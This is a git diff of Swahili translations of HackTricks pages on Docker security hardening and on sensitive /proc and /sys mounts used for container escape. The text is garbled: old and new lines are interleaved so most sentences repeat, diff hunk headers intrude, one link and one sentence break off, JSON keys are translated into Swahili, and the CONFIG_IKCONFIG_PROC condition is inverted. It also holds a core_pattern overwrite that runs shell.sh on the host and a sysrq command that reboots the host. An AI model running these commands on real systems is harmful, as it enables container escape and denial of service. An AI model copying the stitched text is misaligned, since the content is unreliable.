Ni muhimu kuepuka kuweka siri moja kwa moja kwenye picha za Docker au kutumia mazingira ya mazingira, kwani njia hizi zinafunua habari nyeti kwa yeyote aliye na ufikiaji wa chombo kupitia amri kama vile `docker inspect` au `exec`.
Ni muhimu kuepuka kuweka siri moja kwa moja kwenye picha za Docker au kutumia mazingira ya mazingira, kwani njia hizi zinaweka wazi habari zako nyeti kwa yeyote mwenye ufikiaji kwenye kontena kupitia amri kama vile `docker inspect` au `exec`.
**Docker volumes** ni mbadala salama, inapendekezwa kwa kupata habari nyeti. Wanaweza kutumika kama mfumo wa faili wa muda katika kumbukumbu, kupunguza hatari zinazohusiana na `docker inspect` na kuingia kwenye kumbukumbu. Walakini, watumiaji wa mizizi na wale walio na ufikiaji wa `exec` kwenye chombo bado wanaweza kupata siri.
**Vipimo vya Docker** ni mbadala salama, inapendekezwa kwa kupata habari nyeti. Wanaweza kutumika kama mfumo wa faili wa muda katika kumbukumbu, kupunguza hatari zinazohusiana na `docker inspect` na kuingia kwenye kumbukumbu. Walakini, watumiaji wa mizizi na wale wenye ufikiaji wa `exec` kwenye kontena wanaweza bado kupata siri.
**Docker secrets** hutoa njia salama zaidi ya kushughulikia habari nyeti. Kwa hali zinazohitaji siri wakati wa hatua ya ujenzi wa picha, **BuildKit** inatoa suluhisho lenye ufanisi na msaada kwa siri za wakati wa ujenzi, kuongeza kasi ya ujenzi na kutoa huduma za ziada.
**Siri za Docker** zinatoa njia salama zaidi ya kushughulikia habari nyeti. Kwa hali zinazohitaji siri wakati wa hatua ya kujenga picha, **BuildKit** inatoa suluhisho lenye ufanisi na msaada kwa siri za wakati wa kujenga, kuboresha kasi ya ujenzi na kutoa huduma za ziada.
Ili kutumia BuildKit, inaweza kuwezeshwa kwa njia tatu:
Kutumia BuildKit, inaweza kuamilishwa kwa njia tatu:
1. Kupitia mazingira ya mazingira: `export DOCKER_BUILDKIT=1`
2. Kwa kuongeza awali kwenye amri: `DOCKER_BUILDKIT=1 docker build .`
3. Kwa kuwezesha kwa chaguo-msingi katika usanidi wa Docker: `{ "features": { "buildkit": true } }`, ikifuatiwa na kuanzisha upya kwa Docker.
3. Kwa kuwezesha kwa chaguo-msingi katika usanidi wa Docker: `{ "vipengele": { "buildkit": kweli } }`, ikifuatiwa na kuanzisha upya Docker.
BuildKit inaruhusu matumizi ya siri za wakati wa ujenzi na chaguo la `--secret`, ikihakikisha siri hizi hazijumuishwi katika hifadhi ya ujenzi wa picha au picha ya mwisho, kwa kutumia amri kama:
BuildKit inaruhusu matumizi ya siri za wakati wa kujenga kwa chaguo la `--secret`, ikihakikisha siri hizi hazijumuishwi kwenye kache ya ujenzi wa picha au picha ya mwisho, kwa kutumia amri kama vile:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Kwa siri zinazohitajika katika chombo kinachotumika, **Docker Compose na Kubernetes** hutoa suluhisho imara. Docker Compose hutumia ufunguo wa `secrets` katika ufafanuzi wa huduma ili kubainisha faili za siri, kama inavyoonyeshwa katika mfano wa `docker-compose.yml` hapa chini:
Kwa siri zinazohitajika katika chombo kinachotumika, **Docker Compose na Kubernetes** hutoa suluhisho imara. Docker Compose hutumia ufunguo wa `secrets` katika ufafanuzi wa huduma kwa kuelezea faili za siri, kama inavyoonyeshwa katika mfano wa `docker-compose.yml`:
```yaml
version: "3.7"
services:
@ -405,50 +337,50 @@ secrets:
my_secret:
file: ./my_secret_file.txt
```
Hii usanidi inaruhusu matumizi ya siri wakati wa kuanza huduma na Docker Compose.
Hii usanidi inaruhusu matumizi ya siri wakati wa kuanzisha huduma na Docker Compose.
Katika mazingira ya Kubernetes, siri zinasaidiwa kwa asili na zinaweza kusimamiwa zaidi na zana kama [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Mfumo wa Ufikiaji wa Majukumu (RBAC) wa Kubernetes huongeza usalama wa usimamizi wa siri, kama vile Docker Enterprise.
Katika mazingira ya Kubernetes, siri zinasaidiwa kiasili na zinaweza kusimamiwa zaidi na zana kama [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Udhibiti wa Siri wa Kubernetes (RBAC) huimarisha usalama wa usimamizi wa siri, kama ilivyo kwa Docker Enterprise.
### gVisor
**gVisor** ni kiini cha programu, kilichoandikwa kwa Go, ambacho kinautekeleza sehemu kubwa ya uso wa mfumo wa Linux. Inajumuisha [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime inayoitwa `runsc` ambayo hutoa **kizuizi cha kubadilishana kati ya programu na kiini cha mwenyeji**. Runtime ya `runsc` inashirikiana na Docker na Kubernetes, hivyo kuifanya iwe rahisi kuendesha kontena zilizofungwa.
**gVisor** ni kiini cha programu, kilichoandikwa kwa Go, ambacho kinafanya sehemu kubwa ya uso wa mfumo wa Linux. Kina OCI (Open Container Initiative) runtime inayoitwa `runsc` ambayo hutoa **mpaka wa kujitenga kati ya programu na kiini cha mwenyeji**. Runtime ya `runsc` inashirikiana na Docker na Kubernetes, ikifanya iwe rahisi kuendesha kontena zilizofungwa.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** ni jumuiya ya chanzo wazi inayofanya kazi ya kujenga runtime salama ya kontena na mashine za kawaida za kivitualize ambazo zinaonekana na kufanya kazi kama kontena, lakini zinatoa **kizuizi imara cha kazi kwa kutumia teknolojia ya kivitualize ya vifaa** kama safu ya pili ya ulinzi.
**Kata Containers** ni jumuiya ya chanzo wazi inayofanya kazi ya kujenga runtime salama wa kontena na mashine za kawaida za dijiti ambazo hutoa **kujitenga kwa mzigo wenye nguvu kwa kutumia teknolojia ya kivirtuali ya vifaa** kama safu ya pili ya ulinzi.
{% embed url="https://katacontainers.io/" %}
### Vidokezo vifupi
### Vidokezo vya Muhtasari
* **Usitumie bendera ya `--privileged` au kufunga** [**socket ya Docker ndani ya kontena**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Socket ya Docker inaruhusu kuundwa kwa kontena, hivyo ni njia rahisi ya kuchukua udhibiti kamili wa mwenyeji, kwa mfano, kwa kuendesha kontena nyingine na bendera ya `--privileged`.
* Usiendeshe kama mtumiaji mkuu ndani ya kontena. Tumia [mtumiaji tofauti](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) na [nafasi za mtumiaji](https://docs.docker.com/engine/security/userns-remap/)**.** Mtumiaji mkuu ndani ya kontena ni sawa na kwenye mwenyeji isipokuwa imebadilishwa na nafasi za mtumiaji. Inazuiliwa kidogo tu na, kwa kiasi kikubwa, nafasi za Linux, uwezo, na vikundi vya kudhibiti.
* [**Acha uwezo wote**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) na wezesha tu wale wanaohitajika** (`--cap-add=...`). Kazi nyingi hazihitaji uwezo wowote na kuongeza uwezo huongeza wigo wa shambulio la uwezekano.
* [**Tumia chaguo la usalama "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ili kuzuia michakato kupata uwezo zaidi, kwa mfano kupitia programu za suid.
* [**Punguza rasilimali zinazopatikana kwa kontena**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Vizuizi vya rasilimali vinaweza kulinda mashine kutokana na mashambulizi ya kukataa huduma.
* **Badilisha** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(au SELinux)** maelezo ya kikomo ili kuzuia hatua na syscalls zinazopatikana kwa kontena kuwa chini ya kiwango kinachohitajika.
* **Tumia** [**picha rasmi za Docker**](https://docs.docker.com/docker-hub/official\_images/) **na hitaji saini** au jenga yako mwenyewe kwa kuzingatia hizo. Usirithi au tumia picha zilizo na mlango wa nyuma. Pia weka funguo za mizizi, nywila mahali salama. Docker ina mipango ya kusimamia funguo na UCP.
* **Jenga upya mara kwa mara** picha zako ili **kuomba visasaisho vya usalama kwa mwenyeji na picha**.
* **Usitumie bendera ya `--privileged` au uweke soketi ya Docker ndani ya kontena**. Soketi ya docker inaruhusu kuzalisha kontena, hivyo ni njia rahisi ya kuchukua udhibiti kamili wa mwenyeji, kwa mfano, kwa kuendesha kontena nyingine na bendera ya `--privileged`.
* **Usiendeshe kama root ndani ya kontena. Tumia mtumiaji tofauti** na **user namespaces**. Root ndani ya kontena ni sawa na kwenye mwenyeji isipokuwa imebadilishwa na user namespaces. Inazuiliwa kidogo tu na, kimsingi, Linux namespaces, uwezo, na cgroups.
* **Acha** [**uwezo wote**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) na wezesha tu wale uliohitajika** (`--cap-add=...`). Mzigo mwingi hauhitaji uwezo wowote na kuongeza huongeza wigo wa shambulio la uwezekano.
* **Tumia chaguo la usalama la "no-new-privileges"** kuzuia michakato kupata uwezo zaidi, kwa mfano kupitia programu za suid.
* **Punguza rasilimali zilizopo kwa kontena**. Vizuizi vya rasilimali vinaweza kulinda mashine kutokana na mashambulizi ya kukataa huduma.
* **Badilisha** **seccomp**,** **AppArmor** **(au SELinux)** maelezo ya kuzuia hatua na syscalls inayopatikana kwa kontena kwa kiwango cha chini kinachohitajika.
* **Tumia** [**picha rasmi za docker**](https://docs.docker.com/docker-hub/official_images/) **na hitaji saini** au jenga yako kulingana na hizo. Usirithi au kutumia picha zilizopitishwa. Pia hifadhi funguo za msingi, nywila mahali salama. Docker ina mipango ya kusimamia funguo na UCP.
* **Jenga upya mara kwa mara** picha zako ili **kuomba visasaisho vya usalama kwa mwenyeji na picha.**
* Simamia **siri zako kwa busara** ili iwe ngumu kwa mshambuliaji kuzipata.
* Ikiwa **unafichua daemon ya Docker tumia HTTPS** na uwakilishi wa wateja na seva.
* Katika Dockerfile yako, **pendelea COPY badala ya ADD**. ADD inafungua faili zilizopakiwa kiotomatiki na inaweza kunakili faili kutoka kwenye URL. COPY haina uwezo huu. Kadri inavyowezekana, epuka kutumia ADD ili usiweze kushambuliwa kupitia URL za mbali na faili za Zip.
* Kuwa na **kontena tofauti kwa kila huduma ndogo**.
* **Usiweke ssh** ndani ya kontena, "docker exec" inaweza kutumika kama ssh kwa Kontena.
* Ikiwa **unafunua kiini cha docker tumia HTTPS** na uthibitishaji wa mteja na seva.
* Katika Dockerfile yako, **pendekeza COPY badala ya ADD**. ADD inachambua faili zilizozipwa kiotomatiki na inaweza kunakili faili kutoka kwenye URL. COPY haina uwezo huu. Kadri inavyowezekana, epuka kutumia ADD ili usiwe mwepesi kwa mashambulizi kupitia URL za mbali na faili za Zip.
* Kuwa na **kontena ndogo za kila huduma ya kijivu**
* **Usiweke ssh** ndani ya kontena, "docker exec" inaweza kutumika kuingia kwa ssh kwenye Kontena.
* Kuwa na **picha ndogo** za kontena
## Kuvunja Usalama wa Docker / Kuongeza Mamlaka
## Kuvunja / Kuongeza Mamlaka ya Docker
Ikiwa uko **ndani ya kontena ya Docker** au una ufikiaji kwa mtumiaji katika **kikundi cha docker**, unaweza kujaribu **kutoroka na kuongeza mamlaka**:
Ikiwa uko **ndani ya kontena la docker** au una ufikiaji kwa mtumiaji katika **kikundi cha docker**, unaweza kujaribu **kutoroka na kuongeza mamlaka**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Kupitisha Plugin ya Uthibitishaji wa Docker
## Kupuuza Plugin ya Uthibitishaji wa Docker
Ikiwa una ufikiaji wa soketi ya docker au una ufikiaji kwa mtumiaji katika **kikundi cha docker lakini hatua zako zinazuiliwa na programu ya uthibitishaji wa docker**, angalia ikiwa unaweza **kupitisha**:
Ikiwa una ufikiaji wa soketi ya docker au una ufikiaji kwa mtumiaji katika **kikundi cha docker lakini vitendo vyako vinazuiliwa na programu ya uthibitishaji wa docker**, angalia ikiwa unaweza **kupuuza:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -456,19 +388,42 @@ Ikiwa una ufikiaji wa soketi ya docker au una ufikiaji kwa mtumiaji katika **kik
## Kufanya Docker Kuwa Imara
* Zana [**docker-bench-security**](https://github.com/docker/docker-bench-security) ni skripti ambayo inachunguza mamia ya mazoea bora ya kawaida kuhusu kupeleka kontena za Docker kwa uzalishaji. Vipimo vyote ni vya kiotomatiki, na vimejengwa kwenye [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Unahitaji kuendesha zana hiyo kutoka kwenye mwenyeji unaoendesha docker au kutoka kwenye kontena na mamlaka ya kutosha. Pata **jinsi ya kuendesha katika README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
* Zana ya [**docker-bench-security**](https://github.com/docker/docker-bench-security) ni script inayochunguza mamia ya mazoea bora ya kawaida kuhusu kupeleka kontena za Docker kwa uzalishaji. Vipimo vyote ni vya kiotomatiki, na vimejengwa kwenye [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Unahitaji kuendesha zana kutoka kwa mwenyeji anayeendesha docker au kutoka kwa kontena yenye mamlaka za kutosha. Pata **jinsi ya kuendesha katika README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Marejeo
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jumuiya za juu zaidi duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,140 +1,183 @@
# Vifaa Vyenye Hisia
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Kufichua `/proc` na `/sys` bila kujitenga kwa njia sahihi ya namespace kunaweza kuleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa eneo la mashambulizi na kufichua habari. Direktori hizi zina faili nyeti ambazo, ikiwa hazijasakinishwa vizuri au kupatikana na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko kwenye mwenyeji, au kutoa habari itakayosaidia mashambulizi zaidi. Kwa mfano, kusakinisha kimakosa `-v /proc:/host/proc` kunaweza kukiuka ulinzi wa AppArmor kutokana na asili yake ya njia, kuacha `/host/proc` bila ulinzi.
Ufunuo wa `/proc` na `/sys` bila kujitenga kwa njia sahihi ya majina huleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa eneo la shambulio na kufichua habari. Direktori hizi zina faili nyeti ambazo, ikiwa hazijasakinishwa vizuri au zinapatikana na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa habari inayosaidia mashambulizi zaidi. Kwa mfano, kusakinisha kimakosa `-v /proc:/host/proc` kunaweza kuzunguka ulinzi wa AppArmor kutokana na asili yake ya msingi ya njia, kuacha `/host/proc` bila ulinzi.
**Unaweza kupata maelezo zaidi ya kila vuln inayowezekana katika** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**Unaweza kupata maelezo zaidi ya kila udhaifu unaowezekana katika [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
## Vulnerabilities za procfs
# Udhaifu wa procfs
### `/proc/sys`
## `/proc/sys`
Hii ni direktori inayoruhusu upatikanaji wa kubadilisha pembejeo za kernel, kawaida kupitia `sysctl(2)`, na ina vijaraka kadhaa vya wasiwasi:
Direktori hii inaruhusu upatikanaji wa kubadilisha vipimo vya kernel, kawaida kupitia `sysctl(2)`, na ina vijitengo kadhaa vya wasiwasi:
#### **`/proc/sys/kernel/core_pattern`**
* Imeelezewa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
* Inaruhusu kufafanua programu ya kutekelezwa wakati wa kuzalisha faili ya msingi na herufi 128 za kwanza kama hoja. Hii inaweza kusababisha utekelezaji wa nambari ikiwa faili inaanza na mabomba `|`.
* **Mfano wa Majaribio na Uvamizi**:
### **`/proc/sys/kernel/core_pattern`**
- Iliyoelezwa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Inaruhusu kufafanua programu ya kutekeleza wakati wa kuzalisha faili ya msingi na herufi 128 za kwanza kama hoja. Hii inaweza kusababisha utekelezaji wa nambari ikiwa faili inaanza na mrija `|`.
- **Jaribio la Kujaribu na Kudukua**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Ndiyo # Jaribu upatikanaji wa kuandika
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Jaribu upatikanaji wa kuandika
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Weka kiongozi cha desturi
sleep 5 && ./crash & # Chokoza kiongozi
echo "|$overlay/shell.sh" > core_pattern # Weka kichujio cha desturi
sleep 5 && ./crash & # Kuzindua kichujio
```
### **`/proc/sys/kernel/modprobe`**
- Iliyoelezwa kwa undani katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Ina njia ya mzigo wa moduli ya kernel, inayoitwa kwa kusakinisha moduli za kernel.
- **Mfano wa Kupima Upatikanaji**:
#### **`/proc/sys/kernel/modprobe`**
* Maelezo zaidi katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Ina njia ya mzigo wa moduli ya kernel, inayoitwa kwa ajili ya kupakia moduli za kernel.
* **Mfano wa Kuangalia Upatikanaji**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
```
### **`/proc/sys/vm/panic_on_oom`**
- Inahusishwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Bendera ya ulimwengu inayodhibiti ikiwa kernel inapata hofu au inaita OOM killer wakati hali ya OOM inatokea.
#### **`/proc/sys/vm/panic_on_oom`**
### **`/proc/sys/fs`**
- Kulingana na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), ina chaguo na habari kuhusu mfumo wa faili.
- Upatikanaji wa kuandika unaweza kuwezesha mashambulio mbalimbali ya kukataa huduma dhidi ya mwenyeji.
* Inatajwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Bendera ya ulimwengu inayodhibiti ikiwa kernel inapaniki au inaita OOM killer wakati hali ya OOM inatokea.
### **`/proc/sys/fs/binfmt_misc`**
- Inaruhusu usajili wa watekelezaji kwa muundo wa binary usio wa asili kulingana na nambari yao ya uchawi.
- Inaweza kusababisha ongezeko la mamlaka au ufikiaji wa kabati wa mizizi ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
- Shambulio na maelezo yanayofaa:
- [Rootkit ya maskini kupitia binfmt_misc](https://github.com/toffan/binfmt_misc)
- Mafunzo ya kina: [Kiungo cha Video](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
#### **`/proc/sys/fs`**
## Wengine katika `/proc`
* Kulingana na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), ina chaguo na habari kuhusu mfumo wa faili.
* Upatikanaji wa kuandika unaweza kuwezesha mashambulizi mbalimbali ya kukataa huduma dhidi ya mwenyeji.
### **`/proc/config.gz`**
- Inaweza kufichua usanidi wa kernel ikiwa `CONFIG_IKCONFIG_PROC` imezimishwa.
- Inafaa kwa wadukuzi kutambua udhaifu katika kernel inayotumika.
#### **`/proc/sys/fs/binfmt_misc`**
* Inaruhusu usajili wa wachambuzi kwa muundo wa binary usio wa asili kulingana na nambari zao za uchawi.
* Inaweza kusababisha upandishaji wa kiwango cha ruhusa au ufikiaji wa kabati ya mizizi ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
* Uvamizi na maelezo yanayofaa:
* [Rootkit ya mtu masikini kupitia binfmt\_misc](https://github.com/toffan/binfmt\_misc)
* Mafunzo ya kina: [Kiungo cha Video](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Nyingine katika `/proc`
#### **`/proc/config.gz`**
* Inaweza kufunua usanidi wa kernel ikiwa `CONFIG_IKCONFIG_PROC` imezimwa.
* Inaweza kutumika na wachomaji kubaini mapungufu katika kernel inayotumika.
#### **`/proc/sysrq-trigger`**
* Inaruhusu kuita amri za Sysrq, ikisababisha uanzishaji wa haraka wa mfumo au hatua nyingine muhimu.
* **Mfano wa Kuwasha Upya Mwenyeji**:
### **`/proc/sysrq-trigger`**
- Inaruhusu kuita amri za Sysrq, zinazoweza kusababisha kuanza upya mara moja au hatua muhimu zingine.
- **Mfano wa Kuanza upya kwa Mwenyeji**:
```bash
echo b > /proc/sysrq-trigger # Inaanza upya mwenyeji
echo b > /proc/sysrq-trigger # Kuwasha upya mwenyeji
```
### **`/proc/kmsg`**
- Inafichua ujumbe wa mzunguko wa pete wa kernel.
- Inaweza kusaidia katika kudukua kernel, kuvuja kwa anwani, na kutoa habari nyeti ya mfumo.
#### **`/proc/kmsg`**
### **`/proc/kallsyms`**
- Inaorodhesha alama zilizosafirishwa za kernel na anwani zao.
- Muhimu kwa maendeleo ya kudukua kernel, haswa kwa kushinda KASLR.
- Habari ya anwani imezuiliwa na `kptr_restrict` imewekwa kuwa `1` au `2`.
- Maelezo katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Inafichua ujumbe wa pete ya kernel.
* Inaweza kusaidia katika uvamizi wa kernel, kuvuja kwa anwani, na kutoa habari nyeti ya mfumo.
### **`/proc/[pid]/mem`**
- Inashirikiana na kifaa cha kumbukumbu ya kernel `/dev/mem`.
- Historia ya kuwa dhaifu kwa mashambulio ya kuongeza mamlaka.
- Zaidi katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kallsyms`**
### **`/proc/kcore`**
- Inawakilisha kumbukumbu halisi ya mfumo katika muundo wa msingi wa ELF.
- Kusoma kunaweza kufichua yaliyomo ya kumbukumbu ya mfumo wa mwenyeji na kontena zingine.
- Ukubwa mkubwa wa faili unaweza kusababisha maswala ya kusoma au kufeli kwa programu.
- Matumizi ya kina katika [Kudondosha /proc/kcore mnamo 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
* Inaorodhesha alama zilizosafirishwa za kernel na anwani zao.
* Muhimu kwa maendeleo ya uvamizi wa kernel, hasa kwa kushinda KASLR.
* Habari za anwani zinazuiliwa na `kptr_restrict` ikiwa imewekwa kama `1` au `2`.
* Maelezo katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
### **`/proc/kmem`**
- Kiolesura mbadala kwa `/dev/kmem`, kinawakilisha kumbukumbu halisi ya kernel.
- Inaruhusu kusoma na kuandika, hivyo kubadilisha moja kwa moja kumbukumbu ya kernel.
#### **`/proc/[pid]/mem`**
### **`/proc/mem`**
- Kiolesura mbadala kwa `/dev/mem`, kinawakilisha kumbukumbu halisi.
- Inaruhusu kusoma na kuandika, mabadiliko ya kumbukumbu yote yanahitaji kutatua anwani za kawaida kuwa za kimwili.
* Inashirikiana na kifaa cha kumbukumbu ya kernel `/dev/mem`.
* Kihistoria lilikuwa na mapungufu ya upandishaji wa kiwango cha ruhusa.
* Zaidi katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
### **`/proc/sched_debug`**
- Inarudisha habari ya ratiba ya mchakato, ikipuuza ulinzi wa nafasi ya PID.
- Inafichua majina ya mchakato, kitambul
### **`/sys/class/thermal`**
- Inadhibisha mipangilio ya joto, inaweza kusababisha mashambulizi ya DoS au uharibifu wa kimwili.
#### **`/proc/kcore`**
### **`/sys/kernel/vmcoreinfo`**
- Inavuja anwani za kernel, inaweza kuhatarisha KASLR.
